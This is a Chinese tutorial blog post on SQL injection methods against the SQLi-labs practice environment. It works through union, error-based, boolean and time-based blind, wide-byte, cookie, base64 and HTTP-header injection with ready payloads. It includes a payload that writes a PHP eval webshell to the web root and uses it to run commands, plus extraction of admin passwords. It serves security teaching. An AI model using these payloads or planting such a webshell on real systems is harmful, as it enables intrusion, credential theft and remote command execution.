• sql注入手法


    常见的sql注入手法

    0x00. 注入点的判断

    以sqlli-labs第二关为例具体讲解

    image-20210102094409045

    变换id参数

    当我们变换id参数(2+1|2-1)的时候,发现同一个页面,页面展现出不同的用户信息。也就是说,数据库中的内

    容会回显到网页中来。

    初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的内容。猜测后台执行的SQL语句大致

    结构为:

    select * from tbName where id=2;
    

    单引号

    [ ?id=2']

    执行的SQL主语则变为

    select * from tbName where id=33';
    

    页面报错,并且报错信息会回显在网页中,报错信息如下

    image-20210102094649073

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
    

    错误信息' LIMIT 0,1提示单引号位置出现错误,那么说明,SQL语句从头到参数2都是正确的。也就是说,我们添加

    的单引号是多余的。因此,可以断定参数33前面没有引号,因此注入点可能为数字型注入

    [and 1=1]

    [ ?id=2 and 1=2 --+]

    可能得SQL语句为

    select * from tbName where id=1 and 1=1 --+
    # --是sql注释,+是url中的空格
    

    页面正常

    image-20210102095419471

    [and 1=2]

    [ ?id=33 and 1=2 --+]

    可能得SQL语句

    select * from tbName where id=2 and 1=2 --+
    

    image-20210102095816745

    页面没有用户信息,并且数据库没有报错。由于1=2是恒假式,也就是查询条件[where id=2 and 1=2 --+]恒

    假,这样的SQL语句在数据库中执行后,没有返回结果,没有用户信息内容。

    反过来看,页面没有用户信息内容,也就是SQL语句查询条件为假。也就是说我们写的语句[and 1=2 --+],起到

    了将查询条件置为假的作用。那么,可以通过构造语句来控制SQL语句的查询结果并且,SQL语句查询条件的真假

    性,在页面回显中有体现。

    [and sleep(5)]

    [?id=2 and sleep( 5)]

    image-20210102095911647

    注入sleep(5)语句,可以通过网络时间线看到延时。

    说明sleep(5)语句起到了作用综上,此连接存在SQL注入漏洞。

    0x01. 联合查询

    你可能也会看到有人叫他联合注入或者union注入

    由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。

    联合查询就是SQL语法中的union select语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询

    到的结果进行拼接。

    select ~~~  union select  ~~
    

    由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。

    联合查询可以跨库跨表查询,这才是它的nb之处

    必要条件

    • 两张虚拟的表具有相同的列数

    • 虚拟表对应的列的数据类型相同,在数据库中数字比较特殊有时会转换成字符,但是字符是不能转换成数字的

      image-20210102104041980

    判断字段个数

    可以使用order by语句来判断当前select语句所查询的虚拟表的列数。order by语句本意是按照某一列进行排

    序,在mysql中可以使用数字来代替具体的列名,比如order by 1就是按照第一列进行排序,如果mysql没有找

    到对应的列,就会报错Unknown column。我们可以依次增加数字,直到数据库报错。

    • order by 1 --+

    • order by 2 --+

    • order by 3 --+

    • order by 4 --+ 报错

    image-20210102100834394

    得到当前虚拟表中字段个数为3

    判断显示位置

    得到字段个数之后,可以尝试构造联合查询语句。

    这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。

    ?id=2 union select 1,2,3 --+
    ?id=2 union select null, null,null --+
    

    页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录

    因此构造SQL语句:

    ?id=2 and 1=2 union select 1,2,3 --+
    

    在执行SQL语句的时候,可以考虑用火狐浏览器的插件hackbar,发现2和3会回显到页面中来。

    image-20210102103629752

    数据库版本

    我们可以将数字3用函数version()代替,即可得到数据库的版本。

    ?id=2 and 1=2 union select 1,2,version() --+
    

    image-20210102104306446

    数据库版本为5.5.53。

    获取当前库名

    database()?id=3 and 1=2 union select 1,2,database() --+
    

    image-20210102104431448

    获取表名

    这里就要引进一个特别的库来帮助我们查询 information_schema

    information_schema库是mysql系统用的所有字典信息,包括数据库系统有什么库,有什么表,有什么字典,有

    什么存储过程等所有对象信息和进程访问、状态信息。再说简单点,这台MySQL服务器上,到底有哪些数库、

    各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在

    information_schema库里面,注:只有5.0版本以上的才有这个库

    information_schema必知必会3条

    # information_schema下的schemata表 存放了所有的库相关信息,存放库名的字段是schema_name# 查看所有的库名select group_concat(schema_name) from information_schema.schemata  # information_schema下的tables表 存放了所有的表相关信息,存放表名的字段是table_name,库名的字段是table_schema# 查看一个库下所有的表select group_concat(table_name) from information_schema.tables where table_schema="库名"#information_schema下的columns表 存放了所有的字段相关,存放字段名的字段是columns_name,表名的字段是table_schema,库名的字段是table_schema# 查看一个库下的一个表的所有字段select group_concat(column_name) from information_schema.columns where table_schema="库名" and table_name = "表名"
    

    具体SQL语句

    ?id=2 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
    

    image-20210102105922556

    如果数据库有爆错,你可以尝试把查询结果转换成16进制数,这样避免编码问题,查询结果再用BP解码

    ?id=2 and 1=2 union select 1,2,hex(group_concat(table_name)) from information_schema.tables where table_schema=database() --+
    

    获取字段名

    ?id=2 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users" --+
    

    image-20210102110732281

    获取字段值

    获取管理员的账号和密码

    ?id=2 and 1=2 union select 1,2,password from security.users where username like "%25admin%25" --+
    

    image-20210102111154894

    这里密码直接是明文显示了

    一般账号的密码都是md5摘要后得到的,你可以去https://www.cmd5.com去撞库看看能不能得到原文密码

    0x02. 报错注入

    在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入

    报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接

    背公式即可

    XPATH报错

    只有mysql5版本以后才有xpath报错

    updatexml( ) 32位长度

    ?id=2 and updatexml(1,concat('^',(select database()),'^'),1) --+
    

    image-20210102114445122

    updatexml()函数报错输入的内容有限,一般group_concat会不全

    extractvalue( )

    ?id=2 and extractvalue(1,concat('^',(select version()),'^')) --+
    

    image-20210102114702861

    group by重复键冲突

    详情请见 : https://www.cnblogs.com/richardlee97/p/10617115.html

    报错注入经常发生在一些insert update delete这些语句中,尤其是一些靶场的报错,极易在insert语句中

    所以你要想办法闭合你当前插入点的语句,一般有and '1' = '1 也有可能是双引号 , 如果不闭合的话 , 你可以自行

    添加字段对应的值 , 值的个数由报错可以看到 , 然后注释掉原来的即可 , 常见语句

    q' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1q' or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1q' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'),0x7e),1),1)#
    

    语句是死的,但是人是活的,报错注入经常出现在http请求头中,而且多半不能直接注释,学会看报错信息,想办

    法闭合

    # insert插入insert into 表名(字段1,字段2,字段3) value ('$id','$username','password','email')
    

    如果你构建的sql语句是在$username那里插入的话,那你就不能直接注释,如果注释的话,就少了两个字段的值

    数据库会先报这个错,所以要么你把单引号闭合,不要注释

    要么你就直接自己写两个字段的值(一般用数字),然后注释后面的内容,不要忘记最后还有一个括号推荐

    q' and updatexml(1,concat(0x7e,(select database()),0x7e),1),123456,'1@qq.com')#
    

    0x03. 布尔盲注

    原理 : 利用页面返回的布尔类型状态,正常或者不正常。

    详细的解释就是通过and 连接一句条件语句,然后根据页面返回的状态判断该条件语句是否成立,我们可以利用

    条件语句去判断库,表,字段等

    布尔盲注的流程

    判断数据库长度

    ?id=2 and length(database())>0 --+# length() 返回接收参数的长度
    

    image-20210102115912223

    页面返回正常,我们可以判断出条件语句为真,即库名的长度是大于0的,然后我们再通过二分法进一步缩小查找

    范围,最终得到库名的长度

    ?id=2 and length(database())<10 --+?id=2 and length(database())>5 --+?id=2 and length(database())>7 --+# 以上页面都返回内容正常?id=2 and length(database())>9 --+# 返回的页面无内容,说明库名的长度大于7小于9,很有可能是8
    
    ?id=2 and length(database())=8 --+
    

    没错果然是8

    image-20210102120340575

    逐一判断数据库字符

    ?id=2 and ascii(substr(database(),1,1))>0 --+#substr('字符串',start,step)  从第几个位置,截取当前字符串多少个字符substr('hello',1,1)    从第1个位置,截取当前字符串hello1个字符            返回的结果为h# ascii( )   返回当前字符对应的ascii表中的十进制数表示ascii("a")   返回97
    

    ascii码表部分截图

    image-20210102121022411

    当然也是先判断范围,然后最终确定数字,再查ascii表,看看是什么字符

    ?id=2 and ascii(substr(database(),1,1))>100 --+?id=2 and ascii(substr(database(),1,1))<120 --+?id=2 and ascii(substr(database(),1,1))>110 --+?id=2 and ascii(substr(database(),1,1))>115 --+     没有内容返回,说明在110到115之间?id=2 and ascii(substr(database(),1,1))>113 --+?id=2 and ascii(substr(database(),1,1))>114 --+
    
    ?id=2 and ascii(substr(database(),1,1))=115 --+
    

    image-20210102121435892

    接下来的流程就是一个一个字符把库名猜出来,然后用同样的手段去猜表名,字段名等

    猜表名长度

    ?id=2 and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>30 --+
    

    这种盲注时间成本特别高,可以用工具实现半自动化爆破,或者用常见的表名去爆破

    0x04. 延时注入

    延时注入原理 : 利用sleep()语句的延时性,以时间线作为判断条件。

    也有人把延时注入划分在盲注这一类,因为都是看不见回显和报错,延时注入长和if语句搭配使用

    获取库名

    获取数据库名长度

    ?id=2 and if(( length(database( ))=8),sleep(5),1) --+# 如果库名长度等于9就睡5秒再加载页面,否则就直接加载页面
    

    image-20210102123120850

    直接加载页面说明库名长度不等于9

    ?id=2 and if(( length(database( ))=8),sleep(5),1) --+# 如果库名长度等于8就睡5秒再加载页面,否则就直接加载页面
    

    image-20210102123052620

    睡了5秒,说明数据库长度等于8

    紧接着就是判断库名的每个字符,然后判断表,字段等,这种时间成本更高,而且受网速影响

    口诀

    是否有回显 联合查询

    是否有报错 报错注入

    是否有布尔类型状态 布尔盲注绝招

    绝招 延时注入 时间是衡量一切的标准

    0x05. 其他注入手法

    1. 读写文件

    前提条件

    我们也可以利用SQL注入漏洞读写文件。但是读写文件需要一定的条件。

    1. secure-file-priv

    该参数在高版本的mysql数据库中限制了文件的导入导出操作。改参数可以写在my.ini配置文件中[mysqld]下。若

    要配置此参数,需要修改my.ini配置文件,并重启mysql 服务。

    关于该参数值的相关说明

    secure-file-priv参数配置含义

    secure-file-priv=   或者  secure-file-priv=""            不对mysqld的导入导出操作做限制secure-file-priv='c:/a/ '       限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)secure-file-priv=null           限制mysqld 不允许导入导的操作,这也是mysql5.0后的默认配置
    

    image-20210102124206013

    2. 当前用户具有文件权限

    利用已经获取的数据库账号和密码,连接数据库查看当前用户的文件权限

    查询语句

    select File_priv from mysql.user where user=" root" and host="localhost
    

    image-20210102125105828

    有权限,一般root用户对文件操作都是有条件的

    3. 知道要写入目标文件的绝对路径

    读取文件操作

    ?id=2 and 1=2 union select 1,load_file('C:\\WINDOWS\\system32\\drivers\\etc\\hosts'),3 --+
    

    image-20210102125731862

    写入文件操作

    ?id=2 and 1=2 union select 1,'<?php @eval(\$_REQUEST[777]);?>',3 into outfile 'C:\\phpstudy\\www\ \666.php' --+$出现在引号中,最后转义可以避免很多问题,注意windows下的路径要两个反斜杠,或者你用一个斜杠也行
    

    直接传入参数,页面如果不报错,说明写入成功。

    image-20210102130303908

    可以直接查看写入的文件

    image-20210102130433652

    写入一句话木马后你就可以访问这个地址,然后通过?777=命令 , 执行你想要的命令,比如whoami,ipconfig等

    ?777 = echo "ipconfig";
    
    # 你不但可以写入一句话木马,还可以写入<?php phpinfo();?>?id=2 and 1=2 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\\phpstudy\\www\\777.php' --+
    

    image-20210102130847713

    2. 宽字节注入

    宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。

    为了说明宽字节注入问题,我们以SQLi-labs 32关为例子。

    http://192.168.18.81:90/sqlin/Less-32/?id=2%27
    

    image-20210102132741021

    使用?id=2'进行测试的时候,发现提交的单引号会被转义\'。此时,转义后的单引号不再是字符串的标识,会被

    作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL语句的结构。

    单引号原本是一个控制字符,如果被转义就会变成一个普通的字符,起不到闭合字符串的作用了

    如果phpstudy开了魔术符号也会自动给某些特殊字符添加反斜杠进行转义

    我们通过阅读32关的源码,发现几句非常意思的代码,如下。

    image-20210102132956917

    连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询。

    ?id=2\'
    

    image-20210102133116874

    发现还是不可以,就算你用\再转义,后台的代码仍然会对你转义之后的再转义

    # ascii转16进制\       --->   5c
    

    既然是gbk编码,那么我们不妨看一下用gbk编码的汉字有没有包括5c的,用另一半和5c组成一个汉字的gbk编码

    后的16进制数,不就把原来的\吃掉了吗,只剩下一个单引号,真的是妙啊

    网上流传的版本是%df

    %df5c0xdf5c          是汉字運 %df5c          是url编码
    

    image-20210102134719026

    ?id=2%df'
    

    image-20210102140505357

    没有\ , 哈哈哈,又可以愉快的注入啦 , 而且发现是字符型注入

    网络上流传的都是%df干掉反斜杠,实际上不止%df还有%cf,%af等等,只要在gbk编码范围里面就可以

    ?id=1%df' and 1=2 union select 1,database(),version() --+
    

    image-20210102140709414

    注入的参数提交在cookie信息中

    我们使用SQLi-labs第20关来说明Cookie 注入问题。

    Cookie 注入的注入参数需要通过Cookie提交,可以通过document.cookie在控制台完成对浏览器Cookie 的读

    写。

    来到less-20,输入用户名和密码

    image-20210102142439161

    得到cookie信息

    image-20210102142408984

    看到cookie中有我们提交的参数,我们可以在参数后面添加单引号尝试是否具有注入点,但是在当前页面我们无

    法向这次请求的cookie值添加单引号,为了方便操作我们用BP抓包,自定义提交

    image-20210102142959787

    说明存在SQL注入点,而且还是字符型注入

    更换cookie的值,发现没有问题,虽然页面上有cookie的具体内容但是这个回显不算数,正常情况下浏览器是不

    会把cookie的值显示在页面上的,但是有数据库爆错信息,所以我们可以用爆错注入

    获取库名

    ' and updatexml(1,concat("^",database(),"^"),1)#
    

    image-20210102143708239

    你也可以在控制台中进行cookie注入

    document.cookie="uname=Dumb' and extractvalue( 1,concat(0x7e,database( ),0x7e))#"
    

    image-20210102144400485

    当你点下刷新页面的时候,就会出现报错信息

    image-20210102144418989

    4. base64 注入

    注 : base64不是一种加密方法,他是一种编码方法

    我们使用SQLi-labs第22关来说明base64 注入问题。

    当我输入账号和密码登录的时候,返回的页面cookie信息中显示的uname不在是Dumb,而是RHVtYg==,一看

    到==我就不禁的想到base64编码

    image-20210102144551026

    于是用BP转码,发现果然和猜的一样

    image-20210102144929660

    于是抓包打算用base 64编码注入

    Dump'
    

    image-20210102145921307

    image-20210102150057616

    发现并没有报错,说明有可能单引号不是闭合方式,试试双引号

    Dump"RHVtcCI=
    

    image-20210102150251968

    ok,报错了,而且从报错信息中还能看出来是字符型注入,注意字符型不仅只指单引号,还有双引号

    Dump" and updatexml(1,concat('^',database(),'^'),1)#RHVtcCIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnXicsZGF0YWJhc2UoKSwnXicpLDEpIw==
    

    image-20210102150654210

    5. HTTP头部注入

    http 头部注入就是指注入字段在HTTP

    头部的字段中,这些字段通常有User-Agent、Referer等。

    User-Agent 注入

    如SQLi-labs第18关

    输入账号和密码之后得到带有user-agent信息的页面

    image-20210102151119298

    然后我们通过抓包猜测user-agent是不是一个用户会向后台提交数据的字段

    image-20210102151423108

    通过更改user-agent的值发现,果然是一个会向后台提价数据的字段,于是我们尝试是否存在注入点

    alex'
    

    image-20210102151626151

    报错了,果然是一个sql注入点 , 还是一个字符型注入,但是这个报错信息和常见的又不一样,很有可能后面的这

    部分是不可缺少的一部

    分,注意sql语句的拼接,首先尝试直接注释

    alex'#
    

    image-20210102151959355

    发现还是报错说明之前的语句不能直接注释掉

    hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and'1'='1
    

    通过看源码发现,与数据库交互的一条插入语句,所以不能直接把原来sql语句后面的语句直接注释掉,这里的and '1' = '1 , 是为了闭合原有的单引号同时不影响后面的SQL语句

    image-20210102152239697

    Referer注入

    第19关,注入字段在Referer 中

    登录账号和密码后出现以下画面

    image-20210102153026054

    这里同样猜测可能是一个insert插入语句到数据库中,肯定不是查询语句,那么就要闭合单引号了,不能直接注释

    单引号测试

    image-20210102153301437

    hacker' and updatexml(1,concat(0x7e,database( ),0x7e),1) and '1'='1
    

    image-20210102153425729

    以上就是常见的SQL注入的手法了

  • 相关阅读:
    python 第三方库大全
    windows CMD实现的信息收集工具
    ip协议是哪一层的协议
    MetaWeblog访问地址
    通过卸载程序触发恶意进程
    IP地址查询接口
    mysql 密码忘记解决办法
    查询IP地址的免费API
    showdan
    【译】android的审计和hacking工具
  • 原文地址:https://www.cnblogs.com/xcymn/p/15721572.html
Copyright © 2020-2023  润新知